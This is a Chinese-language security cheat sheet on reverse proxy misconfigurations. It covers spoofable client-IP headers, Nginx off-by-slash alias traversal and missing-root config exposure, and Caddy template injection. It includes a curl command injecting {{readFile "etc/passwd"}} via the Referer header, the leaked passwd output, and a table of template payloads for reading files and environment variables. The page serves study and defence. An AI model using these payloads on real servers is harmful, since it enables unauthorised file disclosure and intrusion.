跳转至

反向代理错误配置 (Reverse Proxy Misconfigurations)

反向代理是位于客户端和后端服务器之间的服务器,它在隐藏后端基础设施的同时将客户端请求转发到相应的服务器,并通常提供负载均衡或缓存功能。反向代理中的错误配置,如不当的访问控制、proxy_pass 指令中缺乏输入清洗,或信任客户端提供的头部(如 X-Forwarded-For),可能会导致未经授权的访问、目录遍历或内部资源泄露等漏洞。

摘要 (Summary)

工具 (Tools)

  • yandex/gixy - Nginx 配置静态分析器。
  • MegaManSec/Gixy-Next - 活跃维护的 gixy 的 Python3 分支。
  • shiblisec/Kyubi - 用于发现 Nginx 别名(alias)遍历错误配置的工具。
  • laluka/bypass-url-parser - 测试多种 URL 绕过方式以访问受 40X 保护页面的工具。

    bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d
    bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test"
    bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths"
    

方法论 (Methodology)

HTTP 头部 (HTTP Headers)

由于像 X-Forwarded-ForX-Real-IPTrue-Client-IP 这样的头部只是普通的 HTTP 头部,如果客户端可以控制部分流量路径,就可以设置或覆盖它们——特别是在直接连接到应用程序服务器,或者反向代理没有正确过滤或验证这些头部时。

X-Forwarded-For

X-Forwarded-For 是一个 HTTP 头部,用于识别通过 HTTP 代理或负载均衡器连接到 Web 服务器的客户端的原始 IP 地址。

当客户端通过代理或负载均衡器发出请求时,该代理会添加一个包含客户端真实 IP 地址的 X-Forwarded-For 头部。

如果存在多个代理(请求经过多个代理),每个代理都会将它接收请求的地址添加到该头部中,并用逗号分隔。

X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3

Nginx 可以使用客户端的真实 IP 地址覆盖此头部。

proxy_set_header X-Forwarded-For $remote_addr;

X-Real-IP

X-Real-IP 是另一个自定义 HTTP 头部,通常由 Nginx 和其他一些代理使用,用于转发原始客户端 IP 地址。与包含 IP 地址链的 X-Forwarded-For 不同,X-Real-IP 仅包含单个 IP:连接到第一个代理的客户端地址。

True-Client-IP

True-Client-IP 是由一些提供商(特别是 Akamai)开发并标准化的头部,用于在其基础设施中传递原始客户端的 IP 地址。

Nginx

斜杠缺失错误 (Off By Slash)

Nginx 将传入的请求 URI 与配置中定义的 location 块进行匹配。

  • location /app/ 匹配对 /app//app/foo/app/bar/123 等的请求。
  • location /app(没有尾随斜杠)匹配 /app*(即 /application/appfile 等)。

这意味着在 Nginx 中,location 块中斜杠的存在与否会改变匹配逻辑。

server {
  location /app/ {
    # 处理 /app/ 及其下方的任何内容,例如 /app/foo
  }
  location /app {
    # 仅处理后面没有任何内容的 /app,或者像 /application、/appzzz 这样的路由
  }
}

易受攻击配置的示例:请求 /styles../secret.txt 的攻击者会解析为 /path/styles/../secret.txt(从而读取到 secret.txt)。

location /styles {
  alias /path/css/;
}

缺失根路径配置 (Missing Root Location)

root /etc/nginx; 指令设置服务器静态文件的根目录。 如果配置中没有根路径 /,它将被全局设置。 对 /nginx.conf 的请求将解析为 /etc/nginx/nginx.conf

server {
  root /etc/nginx;

  location /hello.txt {
    try_files $uri $uri/ =404;
    proxy_pass http://127.0.0.1:8080/;
  }
}

Caddy

模板注入 (Template Injection)

提供的 Caddy Web 服务器配置使用了 templates 指令,该指令允许使用 Go 模板进行动态内容渲染。

:80 {
    root * /
    templates
    respond "You came from {http.request.header.Referer}"
}

这告诉 Caddy 将响应字符串作为模板处理,并插入引用请求头中存在的任何变量(使用 Go 模板语法)。

在下面的 curl 请求中,攻击者提供了一个 Go 模板表达式作为 Referer 头部:{{readFile "etc/passwd"}}

curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/
HTTP/1.1 200 OK
Content-Length: 716
Content-Type: text/plain; charset=utf-8
Server: Caddy
Date: Thu, 24 Jul 2025 08:00:50 GMT

You came from root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

由于 Caddy 正在运行 templates 指令,它将评估上下文内部花括号中的任何内容,包括来自不可信输入的内容。readFile 函数在 Caddy 模板中可用,因此攻击者的输入导致 Caddy 实际读取了 /etc/passwd 并将其内容插入到 HTTP 响应中。

载荷 (Payload) 描述
{{env "VAR_NAME"}} 获取环境变量
{{listFiles "/"}} 列出目录中的所有文件
{{readFile "path/to/file"}} 读取文件内容

实验环境 (Labs)

参考资料 (References)